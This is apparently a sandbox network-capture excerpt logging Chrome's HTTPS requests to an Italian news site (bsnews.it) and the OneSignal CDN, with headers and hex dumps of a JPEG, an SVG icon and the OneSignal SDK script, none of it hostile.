2024-03-28 08:51:02 UTC	697	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: image/jpeg Content-Length: 18923 Connection: close last-modified: Mon, 13 Dec 2021 17:21:12 GMT etag: "61b78108-49eb" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3498 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rgWxaXxpcvNU3AGeGUpqcrh5kYXHNG1SWg0C3BcWJHcOG%2Fs8xnH16c3LlBi604W%2FoBuE6C757u4pVD7KxXAk5onNqalzcZzfsAQkhNXunagZCeZj55GlkhH5ngI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6604658e28245-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	672	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff ee 00 0e 41 64 6f 62 65 00 64 c0 00 00 00 01 ff db 00 84 00 08 06 06 06 06 06 08 06 06 08 0c 08 07 08 0c 0e 0a 08 08 0a 0e 10 0d 0d 0e 0d 0d 10 11 0c 0e 0d 0d 0e 0c 11 0f 12 13 14 13 12 0f 18 18 1a 1a 18 18 23 22 22 22 23 27 27 27 27 27 27 27 27 27 27 01 09 08 08 09 0a 09 0b 09 09 0b 0e 0b 0d 0b 0e 11 0e 0e 0e 0e 11 13 0d 0d 0e 0d 0d 13 18 11 0f 0f 0f 0f 11 18 16 17 14 14 14 17 16 1a 1a 18 18 1a 1a 21 21 20 21 21 27 27 27 27 27 27 27 27 27 27 ff c0 00 11 08 01 49 01 49 03 01 22 00 02 11 01 03 11 01 ff c4 00 ca 00 01 00 02 02 03 01 00 00 00 00 00 00 00 00 00 00 00 06 07 05 08 01 03 04 02 01 01 00 02 03 01 01 00 00 Data Ascii: ExifII*Ducky2Adobed#"""#''''''''''!! !!''''''''''II"
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 54 a2 27 59 97 48 e2 4f a0 6c fe 83 bc b2 ae be ba 32 f7 a3 eb bc 58 bf cd 4e ba 32 f7 fb 0a ef 16 2f f3 55 28 89 d6 65 d2 38 93 e8 1b 3f a0 ff 00 2c ab b9 9b e7 cb 24 fc e5 25 73 39 79 b8 cf b5 2a c8 52 ef 5b 26 d4 b8 36 4a a9 69 71 d4 67 85 e0 77 58 1c 15 02 88 2e a5 dc 3c 0b 17 76 7a c0 8c 3d 63 77 9d df 05 6d 1d b6 ff 00 64 bb e1 e6 cb 85 3d 53 be 04 52 35 ce d5 8e 96 03 b5 ec 2c 92 d4 a0 36 5c 1e df 05 e0 e2 d7 b7 10 e0 78 c1 0a 5d 61 de 46 67 b1 b9 ac 92 a0 dc a9 01 1b 54 f5 64 b9 c0 7e 64 de fc 76 f6 82 da db b1 91 ed a6 e8 ef 2a eb 9e cd 3d a0 ba da 50 fa 78 af 1a a7 81 c3 0e 45 b0 e8 a3 99 5b 38 d9 f3 54 25 d4 2f 31 d5 46 31 a8 a2 97 01 2b 39 46 1a 1c df ce 1e c2 91 a9 4d 70 70 ab 4d 41 5c fc b1 49 13 cc 72 b4 b1 cd ca 0e 54 44 45 ea c1 11 11 11 Data Ascii: T'YHOl2XN2/U(e8?,$%s9yR[&6JiqgwX.<vz=cwmd=SR5,6\x]aFgTd~dv=PxE[8T%/1F1+9FMppMA\IrTDE
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 84 44 45 e2 dc ae 9d dd e5 5c b7 75 ca 54 55 b7 1b 65 3d 55 4c 8e 98 49 34 8c 05 ce d9 95 ed 18 9e c0 52 9f e8 3c 9b e8 4a 5e 8c 2c 7e eb 3d 48 b7 7c 6a 8f b7 91 4c d5 94 6c 61 63 4e a8 c8 33 2e 0e fe e6 e1 b7 97 2d 6c d2 00 25 78 00 3d c0 0e 71 dd 51 cf e8 3c 9b e8 4a 5e 8c 27 f4 1e 4d f4 25 2f 46 14 8d 16 7e ad 9d 16 f1 28 bd 6e e7 db cb e5 bb be a3 9f d0 79 37 d0 94 9d 18 5d 52 6e ef 25 4b 8e d5 9a 01 8f c0 db 67 ea b8 29 42 2f 3d 5b 3a 2d e2 5e 8b cb a1 92 79 47 eb 77 7d 40 6b 77 45 94 aa 1a ef ba b6 a6 89 c4 78 26 19 8b 9a 0f c5 9b 9c 55 de 6c dd c5 d7 2c 42 ea f8 64 17 0b 6b 7f bc 99 8c d8 92 20 7e 92 30 4e 2d e5 07 b4 b6 09 7c 4d 14 73 c4 f8 65 68 7c 72 34 b1 ec 3a 8b 5c 30 20 ac 1f 6f 1b 86 03 54 e9 0a 65 ae da bd 85 e0 be 47 4c ca f3 9a fe 76 1b Data Ascii: DE\uTUe=ULI4R<J^,~=H\|jLlacN3.-l%x=qQ<J^'M%/F~(ny7]Rn%Kg)B/=[:-^yGw}@kwEx&Ul,Bdk ~0N-\|Mseh\|r4:\0 oTeGLv
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 2e 1e da d8 64 4e a9 1e 97 77 3b c9 f7 25 ef 42 1f 25 de 92 f0 59 a1 9e 9a d3 6f a7 aa 1b 35 10 d3 43 1c cd 07 1c 1e c8 da d7 69 1c a1 7b d1 14 90 28 28 a9 1c ed 67 17 1f 18 93 c6 88 88 8b c4 44 44 45 ac d9 cf d6 eb df e3 24 f7 16 0d 67 33 9f ad d7 bf c6 49 ee 2c 1a a9 77 84 ed f3 ca be 8f 6d f0 f0 fb b6 79 a1 11 11 78 b7 2b 67 23 6f 03 2d 58 32 cd 25 aa e5 34 cd aa 85 d2 97 b5 90 bd c3 07 ca f7 8f 09 a3 0d 4e 52 3e b6 b2 67 d3 d4 7f 0f 27 79 50 68 b7 0b 99 00 00 53 01 4c 8a a2 6d 83 67 2c af 95 e6 4d 69 1c 5c 68 e0 05 5c 6a 73 2b f3 ad ac 99 f4 f5 1f c3 c9 de 4e b6 b2 67 d3 d4 7f 0f 27 79 50 68 bd eb 52 6e 71 2c 3e dd b1 d3 2f 94 3d 15 7e 75 b5 93 3e 9e 7f e1 e4 ef 2f 97 ef 73 27 01 e0 cb 50 e3 c4 29 df ee e0 a8 54 4e b5 26 e7 12 7d bb 63 a6 5f 28 7a 2a Data Ascii: .dNw;%B%Yo5Ci{((gDDE$g3I,wmyx+g#o-X2%4NR>g'yPhSLmg,Mi\h\js+Ng'yPhRnq,>/=~u>/s'P)TN&}c_(z*
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 7d 95 8a 0e 6b b4 b4 82 39 0a d2 41 06 84 51 5c b1 ec 91 ba d1 b9 af 07 3b 4e b0 e3 0b 94 44 5e 2c 91 11 11 11 11 11 10 e0 75 e9 0b 2d 64 cc f7 ec ba f6 9b 4d 63 e2 88 1c 5d 4c ef 9c 81 c7 87 18 9d a0 7e 8e 0b 12 8b d0 48 c4 1a 15 8b e3 64 8d 2c 91 a1 ed 39 43 80 70 ee ab cb 2a 6f 4e db 79 7c 74 17 96 0b 75 c1 fe 0b 1f 89 34 f2 b8 f0 31 ee d2 c2 78 9d dd 56 08 38 ad 4c 20 11 81 d2 38 55 ab bb 6d e0 48 d9 61 cb 97 c9 8b da f2 19 6e ab 90 e2 e0 ee 08 25 71 d7 f9 87 b5 c4 a5 c3 73 52 1b 26 53 90 f7 d7 31 b5 76 18 8d a6 e2 d0 1d 56 8a be 3c b4 19 cb 4e 5e 05 70 22 f9 6f 1a fa 52 d7 36 88 88 88 88 88 88 b5 9b 39 fa dd 7b fc 64 9e e2 c1 ac e6 73 f5 ba f7 f8 c9 3d c5 83 55 2e f0 9d be 79 57 d1 ed be 1e 1f 76 cf 34 22 22 2f 16 e5 7a ee d2 cf 69 ac c9 d4 15 15 74 Data Ascii: }k9AQ\;ND^,u-dMc]L~Hd,9Cp*oNy\|tu41xV8L 8UmHan%qsR&S1vV<N^p"oR69{ds=U.yWv4""/zit
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 8e eb 0b 25 fa 66 0e eb bc 95 db 4d 9e 72 9d 6d 4c 54 94 b7 58 65 a8 9d c2 38 a3 69 38 b9 ce d0 00 c4 2d 6c 5d f4 55 6e b7 d7 52 57 b3 df 52 4d 1c ed c3 ea de 1e 7d a4 17 6f ae 20 2c 5d d9 ab 6d 57 6a cb 25 68 69 5d 5a 57 36 65 b5 a0 ae 57 4d 34 d1 54 c3 15 4c 27 6a 39 98 d9 23 77 1b 5e 36 81 ee 2e e5 39 72 54 23 03 94 22 22 22 22 22 22 22 e1 c0 16 90 ed 20 8c 08 3c 4b 94 3a 91 15 05 bc cc a9 06 5e ba 45 5b 6f 67 37 6f b8 ed 16 c2 34 36 29 9b a5 ec 68 1a 9a e0 71 03 b3 c8 a0 ea eb df 41 8f fa 7a 84 1c 39 cf be b3 63 b1 cd 49 b4 a9 45 5b 3b 43 64 20 60 32 f1 ae ef 63 4e f9 ac 63 7c 84 b9 c2 ac a9 ca 43 70 08 88 8b 52 b2 52 dd d9 4d cc e7 7b 76 27 01 2b 6a 23 23 b3 13 9c 3f 55 6c 42 d7 3d db 42 66 ce f6 91 ab 9b e7 a4 3d 86 c2 fe fa d8 c5 3a d3 f8 cf e6 fc Data Ascii: %fMrmLTXe8i8-l]UnRWRM}o ,]mWj%hi]ZW6eWM4TL'j9#w^6.9rT#""""""" <K:^E[og7o46)hqAz9cIE[;Cd `2cNc\|CpRRM{v'+j##?UlB=Bf=:
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: b6 aa 1a 7b 75 0b 39 ba 6a 66 08 e2 67 20 e1 27 84 9d 65 7b 11 15 8a e2 09 2e 25 ce 35 24 d4 93 9c a2 e0 ea 5c a2 2f 14 4f 3e 65 41 9a 6c ce 8a 0c 05 c6 97 19 68 5e ed 00 b8 8c 1d 1b b9 1e 34 76 70 2b 5e 24 8e 48 a4 7c 53 35 d1 cb 1b 8b 25 8d e3 07 35 ed 38 39 ae 1c 60 f0 2d b2 76 a2 ab cc ff 00 bb c6 df f6 ae f6 76 b6 2b bb 46 12 c6 7c 16 54 b4 6a 0e d3 e0 bd b8 78 2e e1 d4 78 c4 6b 88 4b b9 ed cb 9c 69 57 db 13 6a b6 dc f5 6b 83 48 dc 6a d7 74 1c 73 1f f1 3d c5 47 22 ec 9e 09 e9 67 92 9a aa 27 43 51 0b b6 25 8a 46 ec bd ae e2 23 83 dd 5d 6a 0a eb c1 04 02 31 05 11 11 11 73 13 e4 81 fc e4 12 3a 19 3e 1c 4e 2c 3d d6 10 b2 b4 f9 ab 33 d2 8d 98 2f 55 8d 6f c1 33 39 e3 ff 00 c9 b4 b1 28 bd 04 8c 84 8d e5 8b e3 8d fe 1b 1a ef cc 03 b9 56 74 e7 5c de 47 fc dd Data Ascii: {u9jfg 'e{.%5$\/O>eAlh^4vp+^$H\|S5%589`-vv+F\|Tjx.xkKiWjkHjts=G"g'CQ%F#]j1s:>N,=3/Uo39(Vt\G
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 22 2f 11 11 11 11 61 f3 4d c2 aa d5 62 ab af a3 2d 6d 44 3c de c1 78 da 1e 14 ac 61 c4 76 1c b3 0a 2d bc 69 df 4f 93 2e 53 47 86 db 79 8c 31 18 8d 35 11 0d 4b 17 9a 35 c7 40 25 78 61 96 70 60 80 86 c9 28 d4 8c 93 40 1e fe 6b 49 39 b1 50 9e b0 73 3f d3 41 d0 8f 29 3a c1 cc ff 00 4d 07 42 3c a5 5d 79 ea b7 ea fc 40 9e 7a ad fa bf 10 28 7d 60 69 72 d3 f6 7f 69 fe 6a 1f ee 7f a0 ac 5e b0 73 3f d3 41 d0 8f 29 3a c1 cc ff 00 4d 07 42 3c a5 5d 79 ea b7 ea fc 40 9e 7a ad fa bf 10 27 58 1a 5c 9f 67 f6 9f e6 a1 fe e7 fa 0a c5 eb 07 33 fd 34 1d 08 f2 93 ac 1c cf f4 d0 74 23 ca 55 d7 9e ab 7e af c4 09 e7 aa df ab f1 02 75 81 a5 c9 f6 7f 69 fe 6a 1f ee 7f a0 ac 5e b0 73 3f d3 41 d0 8f 29 3a c1 cc ff 00 4d 07 42 3c a5 5d 79 ea b7 ea fc 40 9e 7a ad fa bf 10 27 58 1a 5c Data Ascii: "/aMb-mD<xav-iO.SGy15K5@%xap`(@kI9Ps?A):MB<]y@z(}`irij^s?A):MB<]y@z'X\g34t#U~uij^s?A):MB<]y@z'X\
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 92 e9 b3 83 ae 02 a6 aa 5a 5f b9 73 5b 26 10 d3 b5 ce ed 9d 3b 60 ea d8 50 f5 6c 6e 47 df df 7b 34 de d4 ca 2c 2d 0e 91 ad 22 a0 d7 91 74 7b 56 69 21 b1 9a 58 9d aa f6 ea d0 8c d5 78 07 2e e2 f6 75 29 6c f4 b5 57 89 17 79 3a 94 b6 7a 5a ab c4 8b bc ad 14 53 ba bc 5d 15 c9 7d 67 68 fc c1 e2 6f 79 55 dd 4a 5b 3d 2d 55 e2 45 de 4e a5 2d 9e 96 aa f1 22 ef 2b 45 13 ab c5 d1 4f ac ed 1f 98 3c 4d ef 2a bb a9 4b 67 a5 aa bc 48 bb cb 8e a5 2d 9e 96 aa f1 22 ef 2b 49 0a 75 78 ba 29 f5 9d a3 f3 07 89 bd e5 ab 99 86 d8 cb 35 f2 be d3 0c 8e 95 94 92 f3 6c 95 e0 07 3b c1 69 c5 db 3d 95 3d cb 9b ae b4 e6 0b 1d 0d e1 97 3a 88 cd 54 61 cf 8d ad 8c 86 bc 12 d7 b0 68 e0 70 2a 21 9e fd 72 bd 7e 23 fb 0d 56 3e e6 2e 7c f5 aa be d2 f7 62 ea 39 c4 d1 82 74 f3 73 8e 0f d3 63 bb Data Ascii: Z_s[&;`PlnG{4,-"t{Vi!Xx.u)lWy:zZS]}ghoyUJ[=-UEN-"+EO<MKgH-"+Iux)5l;i==:Tahp!r~#V>.\|b9tsc
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 64 f2 e7 ac 76 6f c7 53 7d ab 57 4d de d7 55 65 b9 55 5a 6b 3f bf a5 79 63 9d 86 01 e3 df 32 46 f2 3d a7 15 dd 97 3d 63 b3 7e 3a 9b ed 5a ab 86 0e 00 e6 2b b7 91 cd 7c 0f 7b 4d 43 a3 71 04 67 05 b8 15 b4 4a 01 be 1f 54 59 f8 c8 3f b4 a7 ea 01 be 1f 54 59 f8 c8 3f b4 ac 67 fe 27 ef 2e 13 65 fc 7d b7 bc 6a a2 95 b1 b9 1f 7f 7d ec d3 7b 53 2a 9d 5b 1b 91 f7 f7 de cd 37 b5 32 85 6f fc ad e1 e4 5d 6e db ff 00 d6 cf fa 3f ec 6a b7 4e a5 47 ef 7e a6 aa 1c d1 4c c8 2a 25 89 a6 89 84 b6 39 1c c1 8f 3b 26 9f 04 85 78 2a 33 7c 4d 79 cd 34 a5 ac 73 bf f4 59 ef 5a 4f f8 b2 f1 29 57 5f c7 c2 17 3b d9 f0 0d f8 ae 3f b6 e5 05 fb f5 7f fb ca 8e 9a 4f 29 3e fd 5f fe f2 a3 a6 93 ca 5d 3b 12 fd 14 9e 23 bb c9 b1 2f d1 49 e2 3b bc a0 2e cf 55 9a 07 71 77 7d fa bf fd e5 47 4d Data Ascii: dvoS}WMUeUZk?yc2F==c~:Z+\|{MCqgJTY?TY?g'.e}j}{S[72o]n?jNG~L%9;&x*3\|My4sYZO)W_;?O)>_];#/I;.Uqw}GM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49789	104.21.27.89	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	403	OUT	GET /wp-content/plugins/mailpoet/assets/img/form_close_icon/round_white.svg HTTP/1.1 Host: bsnews.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	704	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: image/svg+xml Content-Length: 1360 Connection: close last-modified: Tue, 26 Mar 2024 02:51:17 GMT etag: "66023825-550" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2312 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BnZ367LkghXIPA9%2B07u0u5LLtMNt4zTjqp7ujOvGKR5oRWwvpKl4BRwrBq8fxeFSKPnaMvn8CxSN6EAq8%2B9cMlYKdmltJnKznkKCor%2BtdLMbV%2Bh7qLKK8adq5LE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660467f430838-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	665	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 31 36 70 78 22 20 68 65 69 67 68 74 3d 22 31 36 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 69 63 6f 6e 73 2f 69 63 5f 63 6c 6f 73 65 5f 72 6f 75 6e 64 5f 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 69 63 6f 6e 73 2f 69 63 5f 63 6c 6f 73 65 5f 72 6f 75 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg width="16px" height="16px" viewBox="0 0 16 16" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>icons/ic_close_round_1</title> <g id="icons/ic_close_rou
2024-03-28 08:51:02 UTC	695	IN	Data Raw: 31 31 38 34 34 36 2c 34 2e 30 37 33 39 34 31 38 20 31 31 2e 31 34 35 30 30 39 36 2c 34 2e 30 37 33 39 34 31 38 20 31 31 2e 35 33 35 35 33 33 39 2c 34 2e 34 36 34 34 36 36 30 39 20 43 31 31 2e 39 32 36 30 35 38 32 2c 34 2e 38 35 34 39 39 30 33 39 20 31 31 2e 39 32 36 30 35 38 32 2c 35 2e 34 38 38 31 35 35 33 36 20 31 31 2e 35 33 35 35 33 33 39 2c 35 2e 38 37 38 36 37 39 36 36 20 4c 39 2e 34 31 34 32 31 33 35 36 2c 38 20 4c 31 31 2e 35 33 35 35 33 33 39 2c 31 30 2e 31 32 31 33 32 30 33 20 43 31 31 2e 39 32 36 30 35 38 32 2c 31 30 2e 35 31 31 38 34 34 36 20 31 31 2e 39 32 36 30 35 38 32 2c 31 31 2e 31 34 35 30 30 39 36 20 31 31 2e 35 33 35 35 33 33 39 2c 31 31 2e 35 33 35 35 33 33 39 20 43 31 31 2e 31 34 35 30 30 39 36 2c 31 31 2e 39 32 36 30 35 38 32 20 31 Data Ascii: 118446,4.0739418 11.1450096,4.0739418 11.5355339,4.46446609 C11.9260582,4.85499039 11.9260582,5.48815536 11.5355339,5.87867966 L9.41421356,8 L11.5355339,10.1213203 C11.9260582,10.5118446 11.9260582,11.1450096 11.5355339,11.5355339 C11.1450096,11.9260582 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49791	104.18.215.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	530	OUT	GET /sdks/OneSignalSDK.js HTTP/1.1 Host: cdn.onesignal.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	786	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close etag: W/"a87c48d211877c49b878679b2e3cdab8" access-control-allow-headers: OneSignal-Subscription-Id via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 709 Expires: Sun, 31 Mar 2024 08:51:02 GMT Cache-Control: public, max-age=259200 Set-Cookie: __cf_bm=E_OE2G9R9S7M_PyIZbBan1JVSTzVmVAalc8Y80VYqy8-1711615862-1.0.1.1-XxXxue0M8IAfuodc7c7fUGhRFS7.KAzpGmuy3Fl8LZDDTdyMkuLf9p9U0GraQGlZRoBHZKO29jn7b2rlSSuk6A; path=/; expires=Thu, 28-Mar-24 09:21:02 GMT; domain=.onesignal.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; includeSubDomains Server: cloudflare CF-RAY: 86b660474ea93b62-IAD
2024-03-28 08:51:02 UTC	583	IN	Data Raw: 32 33 66 34 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 6f 29 7b 69 66 28 74 5b 6f 5d 29 72 65 74 75 72 6e 20 74 5b 6f 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6f 5d 3d 7b 69 3a 6f 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6f 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 65 2c 6e 2e 63 3d 74 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 Data Ascii: 23f4!function(e){var t={};function n(o){if(t[o])return t[o].exports;var r=t[o]={i:o,l:!1,exports:{}};return e[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=e,n.c=t,n.d=function(e,t,o){n.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerab
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 4f 6e 65 53 69 67 6e 61 6c 53 74 75 62 3d 76 6f 69 64 20 30 3b 76 61 72 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 56 45 52 53 49 4f 4e 3d 4e 75 6d 62 65 72 28 31 35 31 36 30 35 29 2c 74 68 69 73 2e 6c 6f 67 3d 7b 73 65 74 4c 65 76 65 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 63 75 72 72 65 6e 74 4c 6f 67 4c 65 76 65 6c 3d 65 7d 7d 2c 74 68 69 73 2e 73 65 74 75 70 53 74 75 62 46 75 6e 63 74 69 6f 6e 73 28 65 2e 46 55 4e 43 54 49 4f 4e 5f 4c 49 53 54 5f 54 4f 5f 53 54 55 42 2c 74 68 69 73 2e 73 74 75 62 46 75 6e 63 74 69 6f 6e 2c 74 29 2c 74 68 69 73 2e 73 65 74 75 70 53 74 Data Ascii: (t,"__esModule",{value:!0}),t.OneSignalStub=void 0;var o=function(){function e(t){var n=this;this.VERSION=Number(151605),this.log={setLevel:function(e){n.currentLogLevel=e}},this.setupStubFunctions(e.FUNCTION_LIST_TO_STUB,this.stubFunction,t),this.setupSt
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 22 67 65 74 45 78 74 65 72 6e 61 6c 55 73 65 72 49 64 22 2c 22 70 72 6f 76 69 64 65 55 73 65 72 43 6f 6e 73 65 6e 74 22 2c 22 69 73 4f 70 74 65 64 4f 75 74 22 2c 22 67 65 74 45 6d 61 69 6c 49 64 22 2c 22 67 65 74 53 4d 53 49 64 22 2c 22 73 65 6e 64 4f 75 74 63 6f 6d 65 22 5d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 72 65 74 75 72 6e 20 65 2e 73 68 6f 75 6c 64 4c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 Data Ascii: "getExternalUserId","provideUserConsent","isOptedOut","getEmailId","getSMSId","sendOutcome"]},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(){}return e.shouldLog=function(){try{if("undefined"==ty
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 6e 29 7b 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 22 22 29 3b 76 61 72 20 6f 3d 65 2e 63 61 6c 6c 28 74 68 69 73 2c 6e 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6f 2c 22 6d 65 73 73 61 67 65 22 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 76 61 6c 75 65 3a 6e 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6f 2c 22 6e 61 6d 65 22 2c 7b 63 6f 6e 66 69 67 Data Ascii: ct.defineProperty(t,"__esModule",{value:!0});var i=function(e){function t(n){void 0===n&&(n="");var o=e.call(this,n)\|\|this;return Object.defineProperty(o,"message",{configurable:!0,enumerable:!1,value:n,writable:!0}),Object.defineProperty(o,"name",{config
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 73 2e 5f 5f 65 78 74 65 6e 64 73 7c 7c 28 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 6f 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 7d 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 6e 29 26 26 28 65 5b 6e 5d 3d 74 5b 6e 5d 29 7d 29 28 65 2c 74 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 74 68 69 73 2e 63 6f 6e 73 74 72 75 Data Ascii: s.__extends\|\|(o=function(e,t){return(o=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])})(e,t)},function(e,t){function n(){this.constru
